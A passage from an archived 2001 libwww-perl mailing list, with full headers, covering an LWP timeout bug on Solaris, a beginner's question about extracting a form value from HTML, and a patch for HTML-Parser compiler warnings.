          by poindexter-relay.ics.uci.edu id aa08909
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 30 Jan 2001 13:38 PST
Received: (qmail 28411 invoked by uid 508); 30 Jan 2001 21:38:24 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 28402 invoked from network); 30 Jan 2001 21:38:24 -0000
Received: from sylvia.harvard.edu (128.103.151.242)
  by tmtowtdi.perl.org with SMTP; 30 Jan 2001 21:38:24 -0000
Received: from phil_mitchell.harvard.edu (ospr28.harvard.edu [128.103.151.128])
	by sylvia.harvard.edu (8.9.3/8.9.3) with ESMTP id QAA12656
	for <libwww@perl.org>; Tue, 30 Jan 2001 16:38:20 -0500 (EST)
Message-Id: <4.3.2.7.2.20010130163338.00b02ba0@hulmail.harvard.edu>
X-Sender: philip@hulmail.harvard.edu
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 30 Jan 2001 16:38:18 -0500
To: libwww@perl.org
From: Phil Mitchell <philip_mitchell@harvard.edu>
Subject: RE: Workaround for LWP/Solaris missing EOF bug
In-Reply-To: <98B0F392238CD411AACA00010231D8900FB470@ntmail.digitalriver
 .com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

So in your case, it has nothing to do with Apache... the cgi script is not 
terminating its output the way LWP expects? I have not seen this problem w/ 
any apache servers... Is everything running on solaris? I'm curious to know 
whether it would work if LWP was running on linux...

At 03:32 PM 1/30/01 -0600, you wrote:
>I recently found the same problem with an LWP request to a cgi pgm that runs
>fine from the command line but times out for an LWP request.
>
>Telnet(ports 80) to the cgi also hangs.
>
>I just wrapped the cgi pgm (c-code) with a <cr> at the end and all was well.
>Hmmm ... it was a booger isolating the problem.
>
>Server using: apache/sun solaris 7
>
>
>
>-----Original Message-----
>From: Phil Mitchell [mailto:philip_mitchell@harvard.edu]
>Sent: Tuesday, January 30, 2001 2:48 PM
>To: libwww@perl.org
>Subject: Workaround for LWP/Solaris missing EOF bug
>
>
>On Solaris, an LWP request sometimes fails (ie. reports a server error)
>when the server is fine, b/c of some interaction between the OS and the
>server response. (See below for more info.) In fact, LWP is receiving data,
>but the data is improperly terminated and LWP times out. The workaround
>that I have found is to use Telnet.pm to open a connection (say, to port
>80), and do the GET by hand. Telnet.pm will also time out with these cases,
>but even when it does, you can get the response by looking at input_log().
>Then you will need to parse it by hand.
>
>Seems like it would be nice if LWP exposed its input log similarly -- or
>maybe it does and I just don't know about it...
>
>More about the problem:
>
>There is an interaction between Solaris and certain web servers (notably
>Microsoft-IIS/4.0) where the response to a GET comes back improperly
>terminated. You can observe this independently of LWP by doing a "telnet
>www.ndu.edu 80",
>and then "GET http://www.ndu.edu/ndu/inss/strforum/forum83.html"
>You will see telnet receive the response (it's a 404), but then (usually
>but not always) fail to terminate. As far as I know, you will only see this
>on Solaris (I'm on Solaris 7, have heard similar problems w/ 6); I've tried
>same under Linux and haven't seen this problem. I have seen this on a
>number of other sites.
>
>The problem seems to be that LWP reports a server error (500) b/c it times
>out while waiting for the missing EOF terminator. I've turned on LWP::Debug
>and see it hang, apparently in the LWP::Protocol::http->request subroutine,
>or possible in collect(), though I'm not sure. You can see that LWP
>received the response, so it ought to do more than just report a timeout.


From slivings@digitalriver.com Tue Jan 30 13:58:17 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa11045 for <hyper>;
          30 Jan 2001 13:58 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa13351
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 30 Jan 2001 13:58 PST
Received: (qmail 7454 invoked by uid 508); 30 Jan 2001 21:58:09 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 7445 invoked from network); 30 Jan 2001 21:58:08 -0000
Received: from ntmail.digitalriver.com (208.217.74.66)
  by tmtowtdi.perl.org with SMTP; 30 Jan 2001 21:58:08 -0000
Received: by ntmail.digitalriver.com with Internet Mail Service (5.5.2650.21)
	id <DVMYAYP6>; Tue, 30 Jan 2001 16:00:45 -0600
Message-ID: <98B0F392238CD411AACA00010231D8900FB472@ntmail.digitalriver.com>
From: Steve Livingston <slivings@digitalriver.com>
To: 'Phil Mitchell' <philip_mitchell@harvard.edu>, libwww@perl.org
Subject: RE: Workaround for LWP/Solaris missing EOF bug
Date: Tue, 30 Jan 2001 16:00:44 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C08B08.1828CC20"

------_=_NextPart_001_01C08B08.1828CC20
Content-Type: text/plain;
	charset="ISO-8859-1"

Just sun/solaris.

The command line output _appears_ to have a <cr> at the end.

Dunno if we can rule out Apache ... maybe the trailing <cr> is a (PC) ctl^m


-----Original Message-----
From: Phil Mitchell [mailto:philip_mitchell@harvard.edu]
Sent: Tuesday, January 30, 2001 3:38 PM
To: libwww@perl.org
Subject: RE: Workaround for LWP/Solaris missing EOF bug


So in your case, it has nothing to do with Apache... the cgi script is not 
terminating its output the way LWP expects? I have not seen this problem w/ 
any apache servers... Is everything running on solaris? I'm curious to know 
whether it would work if LWP was running on linux...

At 03:32 PM 1/30/01 -0600, you wrote:
>I recently found the same problem with an LWP request to a cgi pgm that
runs
>fine from the command line but times out for an LWP request.
>
>Telnet(ports 80) to the cgi also hangs.
>
>I just wrapped the cgi pgm (c-code) with a <cr> at the end and all was
well.
>Hmmm ... it was a booger isolating the problem.
>
>Server using: apache/sun solaris 7
>
>
>
>-----Original Message-----
>From: Phil Mitchell [mailto:philip_mitchell@harvard.edu]
>Sent: Tuesday, January 30, 2001 2:48 PM
>To: libwww@perl.org
>Subject: Workaround for LWP/Solaris missing EOF bug
>
>
>On Solaris, an LWP request sometimes fails (ie. reports a server error)
>when the server is fine, b/c of some interaction between the OS and the
>server response. (See below for more info.) In fact, LWP is receiving data,
>but the data is improperly terminated and LWP times out. The workaround
>that I have found is to use Telnet.pm to open a connection (say, to port
>80), and do the GET by hand. Telnet.pm will also time out with these cases,
>but even when it does, you can get the response by looking at input_log().
>Then you will need to parse it by hand.
>
>Seems like it would be nice if LWP exposed its input log similarly -- or
>maybe it does and I just don't know about it...
>
>More about the problem:
>
>There is an interaction between Solaris and certain web servers (notably
>Microsoft-IIS/4.0) where the response to a GET comes back improperly
>terminated. You can observe this independently of LWP by doing a "telnet
>www.ndu.edu 80",
>and then "GET http://www.ndu.edu/ndu/inss/strforum/forum83.html"
>You will see telnet receive the response (it's a 404), but then (usually
>but not always) fail to terminate. As far as I know, you will only see this
>on Solaris (I'm on Solaris 7, have heard similar problems w/ 6); I've tried
>same under Linux and haven't seen this problem. I have seen this on a
>number of other sites.
>
>The problem seems to be that LWP reports a server error (500) b/c it times
>out while waiting for the missing EOF terminator. I've turned on LWP::Debug
>and see it hang, apparently in the LWP::Protocol::http->request subroutine,
>or possible in collect(), though I'm not sure. You can see that LWP
>received the response, so it ought to do more than just report a timeout.

------_=_NextPart_001_01C08B08.1828CC20--

From afarrior@vc.cc.tx.us Wed Jan 31 10:46:33 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa28560 for <hyper>;
          31 Jan 2001 10:46 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa07653
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 31 Jan 2001 10:46 PST
Received: (qmail 26609 invoked by uid 508); 31 Jan 2001 18:46:27 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 26600 invoked from network); 31 Jan 2001 18:46:27 -0000
Received: from king.vc.cc.tx.us (root@204.56.250.3)
  by tmtowtdi.perl.org with SMTP; 31 Jan 2001 18:46:27 -0000
Received: from quasi.vc.cc.tx.us (nat-251-145.vc.cc.tx.us [204.56.251.145])
	by king.vc.cc.tx.us (8.9.3/8.9.3) with ESMTP id MAA00887
	for <libwww@perl.org>; Wed, 31 Jan 2001 12:46:22 -0600
Message-Id: <5.0.2.1.0.20010131123456.02488dd0@vc.cc.tx.us>
X-Sender: afarrior@vc.cc.tx.us
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Wed, 31 Jan 2001 12:46:21 -0600
To: libwww@perl.org
From: Andy Farrior <afarrior@vc.cc.tx.us>
Subject: help parsing HTML code
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Greetings,

I'm trying to read the following HTML code:

<input type="text" size="10" name="video_fec_errors_rx" value="24" READONLY>

I need to extract the value for video_fec_errors_rx.  I can't seem to 
figure out how to do it.  (This is the first time I've tried to use the LWP 
library.)

The web server I'm connecting to uses one form to display various values.

I think I need to use the HTML::Parse or HTML::TreeBuilder modules, but I 
get stuck really quick.

I know this a newbie question; so please be kind.

Thanks,
Andy

#!/usr/bin/perl
use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ua->agent("AgentName/0.1 " . $ua->agent);

[snip]

$URL = "http://$USERID:$PASSWORD\@$HOST/a_advannetstat.htm";

my $req = new HTTP::Request GET => $URL;
my $res = $ua->request($req);

if ($res->is_success) {
     $content = $res->content;
     print "$content\n";
} else {
     print "Can't reach $HOST\n";
}


From cohengil4@hotmail.com Wed Jan 31 12:02:25 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa05316 for <hyper>;
          31 Jan 2001 12:02 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa12051
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 31 Jan 2001 12:02 PST
Received: (qmail 14927 invoked by uid 508); 31 Jan 2001 20:02:20 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 14918 invoked from network); 31 Jan 2001 20:02:19 -0000
Received: from f217.law8.hotmail.com (HELO hotmail.com) (216.33.241.217)
  by tmtowtdi.perl.org with SMTP; 31 Jan 2001 20:02:19 -0000
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 31 Jan 2001 12:01:53 -0800
Received: from 141.155.25.189 by lw8fd.law8.hotmail.msn.com with HTTP;	Wed, 31 Jan 2001 20:01:53 GMT
X-Originating-IP: [141.155.25.189]
From: gil cohen <cohengil4@hotmail.com>
To: afarrior@vc.cc.tx.us, libwww@perl.org
Subject: Re: help parsing HTML code
Date: Wed, 31 Jan 2001 15:01:53 -0500
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F217Vux1Zcn8TtEvzox0000139d@hotmail.com>
X-OriginalArrivalTime: 31 Jan 2001 20:01:53.0523 (UTC) FILETIME=[A8049C30:01C08BC0]

You don't any of that weird stuff. All you need is a simple regex. In that 
$res->is_sucess if, put something like:
$content =~ m/<input type=\"text\" size=\"10\" name=\"video_fec_errors_rx\" 
value=\"(.*?)\" READONLY>/;
$value = $1;

and now $value has what value is equal to.


>From: Andy Farrior <afarrior@vc.cc.tx.us>
>To: libwww@perl.org
>Subject: help parsing HTML code
>Date: Wed, 31 Jan 2001 12:46:21 -0600
>
>Greetings,
>
>I'm trying to read the following HTML code:
>
><input type="text" size="10" name="video_fec_errors_rx" value="24" 
>READONLY>
>
>I need to extract the value for video_fec_errors_rx.  I can't seem to
>figure out how to do it.  (This is the first time I've tried to use the LWP
>library.)
>
>The web server I'm connecting to uses one form to display various values.
>
>I think I need to use the HTML::Parse or HTML::TreeBuilder modules, but I
>get stuck really quick.
>
>I know this a newbie question; so please be kind.
>
>Thanks,
>Andy
>
>#!/usr/bin/perl
>use LWP::UserAgent;
>$ua = new LWP::UserAgent;
>$ua->agent("AgentName/0.1 " . $ua->agent);
>
>[snip]
>
>$URL = "http://$USERID:$PASSWORD\@$HOST/a_advannetstat.htm";
>
>my $req = new HTTP::Request GET => $URL;
>my $res = $ua->request($req);
>
>if ($res->is_success) {
>     $content = $res->content;
>     print "$content\n";
>} else {
>     print "Can't reach $HOST\n";
>}
>

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From marcel@codewerk.com Wed Jan 31 13:09:05 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa10545 for <hyper>;
          31 Jan 2001 13:09 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa15658
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 31 Jan 2001 13:08 PST
Received: (qmail 10294 invoked by uid 508); 31 Jan 2001 21:08:45 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 10285 invoked from network); 31 Jan 2001 21:08:44 -0000
Received: from 212186029246.11.vie.surfer.at (HELO gandalf.local) (212.186.29.246)
  by tmtowtdi.perl.org with SMTP; 31 Jan 2001 21:08:44 -0000
Received: from codewerk.com (gandalf [127.0.0.1])
	by gandalf.local (8.11.2/8.11.2/Debian 8.11.2-1) with ESMTP id f0VM8Q808769
	for <libwww@perl.org>; Wed, 31 Jan 2001 22:08:26 GMT
Message-Id: <200101312208.f0VM8Q808769@gandalf.local>
To: libwww@perl.org
Subject: Re: help parsing HTML code 
In-Reply-To: Your message of "Wed, 31 Jan 2001 15:01:53 EST."
             <F217Vux1Zcn8TtEvzox0000139d@hotmail.com> 
Date: Wed, 31 Jan 2001 22:08:26 +0000
From: Marcel Grunauer <marcel@codewerk.com>


In message <F217Vux1Zcn8TtEvzox0000139d@hotmail.com>, "gil cohen" writes:

>You don't any of that weird stuff. All you need is a simple regex. In that 
>$res->is_sucess if, put something like:
>$content =~ m/<input type=\"text\" size=\"10\" name=\"video_fec_errors_rx\" 
>value=\"(.*?)\" READONLY>/;
>$value = $1;
>
>and now $value has what value is equal to.

Until someone decides to rearrange the parameters or make them uppercase
or forgo quotes or split them among several lines.

Better use one of the HTML parsing modules.

BTW, no need to escape the quotes in the regex. And what happens if
there is no match? Then $1 has an undefined value.

Marcel

-- 
We are Perl. Your table will be assimilated. Your waiter will adapt to
service us. Surrender your beer. Resistance is futile.
 -- London.pm strategy aka "embrace and extend" aka "mark and sweep"

From cohengil4@hotmail.com Wed Jan 31 14:01:55 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa15847 for <hyper>;
          31 Jan 2001 14:01 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa18592
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 31 Jan 2001 14:01 PST
Received: (qmail 26194 invoked by uid 508); 31 Jan 2001 22:01:51 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 26185 invoked from network); 31 Jan 2001 22:01:50 -0000
Received: from f194.law8.hotmail.com (HELO hotmail.com) (216.33.241.194)
  by tmtowtdi.perl.org with SMTP; 31 Jan 2001 22:01:50 -0000
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 31 Jan 2001 14:01:24 -0800
Received: from 141.155.25.189 by lw8fd.law8.hotmail.msn.com with HTTP;	Wed, 31 Jan 2001 22:01:24 GMT
X-Originating-IP: [141.155.25.189]
From: gil cohen <cohengil4@hotmail.com>
To: marcel@codewerk.com, libwww@perl.org
Subject: Re: help parsing HTML code
Date: Wed, 31 Jan 2001 17:01:24 -0500
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F19458ouEJLD62g2Af0000015f1@hotmail.com>
X-OriginalArrivalTime: 31 Jan 2001 22:01:24.0694 (UTC) FILETIME=[5A5E7760:01C08BD1]


I have assimilated this knowledge.

>From: Marcel Grunauer <marcel@codewerk.com>
>To: libwww@perl.org
>Subject: Re: help parsing HTML code
>Date: Wed, 31 Jan 2001 22:08:26 +0000
>
>In message <F217Vux1Zcn8TtEvzox0000139d@hotmail.com>, "gil cohen" writes:
>
> >You don't any of that weird stuff. All you need is a simple regex. In 
>that
> >$res->is_sucess if, put something like:
> >$content =~ m/<input type=\"text\" size=\"10\" 
>name=\"video_fec_errors_rx\"
> >value=\"(.*?)\" READONLY>/;
> >$value = $1;
> >
> >and now $value has what value is equal to.
>
>Until someone decides to rearrange the parameters or make them uppercase
>or forgo quotes or split them among several lines.
>
>Better use one of the HTML parsing modules.
>
>BTW, no need to escape the quotes in the regex. And what happens if
>there is no match? Then $1 has an undefined value.
>
>Marcel
>
>--
>We are Perl. Your table will be assimilated. Your waiter will adapt to
>service us. Surrender your beer. Resistance is futile.
>  -- London.pm strategy aka "embrace and extend" aka "mark and sweep"

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From John_Gerrish@dot.state.ak.us Wed Jan 31 15:57:14 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa26085 for <hyper>;
          31 Jan 2001 15:57 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa24729
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 31 Jan 2001 15:57 PST
Received: (qmail 30047 invoked by uid 508); 31 Jan 2001 23:57:08 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 30038 invoked from network); 31 Jan 2001 23:57:07 -0000
Received: from hydra1.dot.state.ak.us (HELO web.dot.state.ak.us) (158.145.110.231)
  by tmtowtdi.perl.org with SMTP; 31 Jan 2001 23:57:07 -0000
Received: from dot.state.ak.us ([158.145.111.44]) by web.dot.state.ak.us
          (Netscape Messaging Server 3.6)  with ESMTP id AAA43A3
          for <libwww@perl.org>; Wed, 31 Jan 2001 14:56:39 -0900
Message-ID: <3A78A686.57FF75B4@dot.state.ak.us>
Date: Wed, 31 Jan 2001 14:57:58 -0900
From: John Gerrish <John_Gerrish@dot.state.ak.us>
Reply-To: John_Gerrish@dot.state.ak.us
Organization: Alaska Marine Highway System
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: libwww@perl.org
Subject: re: Workaround for LWP/Solaris missing EOF bug
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

<-- copy start from "libwww Digest 31 Jan 2001 20:02:20 -0000 Issue 195" ->
Subject:         RE: Workaround for LWP/Solaris missing EOF bug
   Date:         Tue, 30 Jan 2001 16:00:44 -0600
   From:         Steve Livingston <slivings@DigitalRiver.com>
     To:         'Phil Mitchell' <philip_mitchell@harvard.edu>,
libwww@perl.org

Just sun/solaris.
The command line output _appears_ to have a <cr> at the end.
Dunno if we can rule out Apache ... maybe the trailing <cr> is a (PC) ctl^m

-----Original Message-----
From: Phil Mitchell [mailto:philip_mitchell@harvard.edu]
Sent: Tuesday, January 30, 2001 3:38 PM
To: libwww@perl.org
Subject: RE: Workaround for LWP/Solaris missing EOF bug


So in your case, it has nothing to do with Apache... the cgi script is not 
terminating its output the way LWP expects? I have not seen this problem w/ 
any apache servers... Is everything running on solaris? I'm curious to know 
whether it would work if LWP was running on linux...
<-- copy start from "libwww Digest 31 Jan 2001 20:02:20 -0000 Issue 195" ->

begin
I had posted "Request Post error useragent.pm line 227" and in reviewing the
digest read your dialogue and realized it's the same problem.  I was using LWP
to POST to a secure sever to authorize credit card transactions.  It worked
fine from my Linux test machine and when I moved it to solaris it would 1 out
of 3-6 times produce the mentioned error in UserAgent.pm  However the
transaction is received by the processor (who is running MS IIS) and
authorized/recorded, but I don't see the confirmation.  I get different error
(the must handle timeout different) depending on whether using HTTPS or HTTP
protcol in
 	use HTTP::Request::Common qw(POST).
	my $req = POST "https://...

Vern Hart <v-libwww@vern.com> in message
Subject: Can't call method "request" on an undefined value at ...
   Date: Mon, 29 Jan 2001 00:48:23 -0700 (MST)
suggests adding some code to catch symptoms of problem in UserAgent.pm

So is MS IIS really not sending the expected EOF?  The telnet test you mention
hangs right after </html> without any sign of CR LF or whatever.  So is Sun
dropping what is sent or MS not sending it?  

Does this problem persist to LWP 5.50?

Comments?
-Johnnie

-- 
John Gerrish     RMS3 Application Manager     907-465-8861    fax:2024
                 Alaska Marine Highway System, DOT/PF, State of Alaska
                 3132 Channel Dr, Juneau, AK  99801
Blessed are the flexible for they shall not be bent out of shape.

From mike@stok.co.uk Wed Jan 31 19:35:47 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa11125 for <hyper>;
          31 Jan 2001 19:35 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa02570
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 31 Jan 2001 19:35 PST
Received: (qmail 4703 invoked by uid 508); 1 Feb 2001 03:35:32 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 32590 invoked from network); 1 Feb 2001 02:46:51 -0000
Date: Wed, 31 Jan 2001 20:46:50 -0600 (CST)
From: Mike Stok <mike@stok.co.uk>
Reply-To: mike@stok.co.uk
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: 64 bit ints & Parser.xs warnings
Message-ID: <Pine.LNX.4.30.0101312044240.18645-100000@ratdog.stok.co.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I was just rebuilding everything with perl 5.6.1 trial 2

This is perl, v5.6.1 built for i586-linux-64all-ld
(with 1 registered patch, see perl -V for more detail)

and noticed a couple of warnings while building HTML-Parser-3.15:

Parser.xs: In function `get_pstate_iv':
Parser.xs:114: warning: cast to pointer from integer of different size
Parser.xs: In function `XS_HTML__Parser__alloc_pstate':
Parser.xs:202: warning: cast from pointer to integer of different size

It doesn't seem to affect the make test.

Mike

-- 
mike@stok.co.uk                    |           The "`Stok' disclaimers" apply.
http://www.stok.co.uk/~mike/       |
GPG PGP Key 1024D/059913DA         | Fingerprint      0570 71CD 6790 7C28 3D60
stok@colltech.com (CT - work)      |                  75D2 9EC4 C1C0 0599 13DA


From gisle@activestate.com Wed Jan 31 20:27:02 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa13898 for <hyper>;
          31 Jan 2001 20:27 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa03576
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 31 Jan 2001 20:26 PST
Received: (qmail 15368 invoked by uid 508); 1 Feb 2001 04:26:58 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 15359 invoked from network); 1 Feb 2001 04:26:57 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 1 Feb 2001 04:26:57 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id UAA09521;
	Wed, 31 Jan 2001 20:25:59 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: mike@stok.co.uk
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Cc: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: Re: 64 bit ints & Parser.xs warnings
References: <Pine.LNX.4.30.0101312044240.18645-100000@ratdog.stok.co.uk>
From: Gisle Aas <gisle@activestate.com>
Date: 31 Jan 2001 20:25:59 -0800
In-Reply-To: Mike Stok's message of "Wed, 31 Jan 2001 20:46:50 -0600 (CST)"
Message-ID: <lrvgqvc9m0.fsf@caliper.ActiveState.com>
Lines: 46
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Mike Stok <mike@stok.co.uk> writes:

> I was just rebuilding everything with perl 5.6.1 trial 2
> 
> This is perl, v5.6.1 built for i586-linux-64all-ld
> (with 1 registered patch, see perl -V for more detail)
> 
> and noticed a couple of warnings while building HTML-Parser-3.15:
> 
> Parser.xs: In function `get_pstate_iv':
> Parser.xs:114: warning: cast to pointer from integer of different size
> Parser.xs: In function `XS_HTML__Parser__alloc_pstate':
> Parser.xs:202: warning: cast from pointer to integer of different size
> 
> It doesn't seem to affect the make test.

Can you check this patch:

Index: Parser.xs
===================================================================
RCS file: /cvsroot/libwww-perl/html-parser/Parser.xs,v
retrieving revision 2.95
diff -u -p -u -r2.95 Parser.xs
--- Parser.xs	2000/12/26 08:52:44	2.95
+++ Parser.xs	2001/02/01 04:25:12
@@ -111,7 +111,7 @@ static PSTATE*
 get_pstate_iv(SV* sv)
 {
   dTHX;
-  PSTATE* p = (PSTATE*)SvIV(sv);
+  PSTATE* p = INT2PTR(PSTATE*, SvIV(sv));
   if (p->signature != P_SIGNATURE)
     croak("Bad signature in parser state object at %p", p);
   return p;
@@ -199,7 +199,7 @@ _alloc_pstate(self)
 	Newz(56, pstate, 1, PSTATE);
 	pstate->signature = P_SIGNATURE;
 
-	sv = newSViv((IV)pstate);
+	sv = newSViv(PTR2IV(pstate));
 	sv_magic(sv, 0, '~', 0, 0);
 	mg = mg_find(sv, '~');
         assert(mg);

Regards,
Gisle

From josh.barker@inceptor.com Thu Feb  1 01:39:18 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa00603 for <hyper>;
          1 Feb 2001 01:39 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa13207
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 1 Feb 2001 01:39 PST
Received: (qmail 17055 invoked by uid 508); 1 Feb 2001 09:39:12 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 16733 invoked from network); 1 Feb 2001 09:35:44 -0000
Received: from unknown (HELO MAILSERVER1.inceptor.com) (64.69.117.135)
  by tmtowtdi.perl.org with SMTP; 1 Feb 2001 09:35:44 -0000
Received: from inceptor.com (gateway.inceptor.co.uk [62.189.33.18]) by MAILSERVER1.inceptor.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id 1BW8KA99; Thu, 1 Feb 2001 04:35:07 -0500
Message-ID: <3A792DEE.7060603@inceptor.com>
Date: Thu, 01 Feb 2001 09:35:42 +0000
From: Josh <josh.barker@inceptor.com>
User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.14-5.0smp i686; en-US; 0.7) Gecko/20010105
X-Accept-Language: en
MIME-Version: 1.0
To: libwww@perl.org
Subject: Re: help parsing HTML code
References: <200101312208.f0VM8Q808769@gandalf.local>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Marcel Grunauer wrote:

> In message <F217Vux1Zcn8TtEvzox0000139d@hotmail.com>, "gil cohen" writes:
> 
> 
>> You don't any of that weird stuff. All you need is a simple regex. In that 
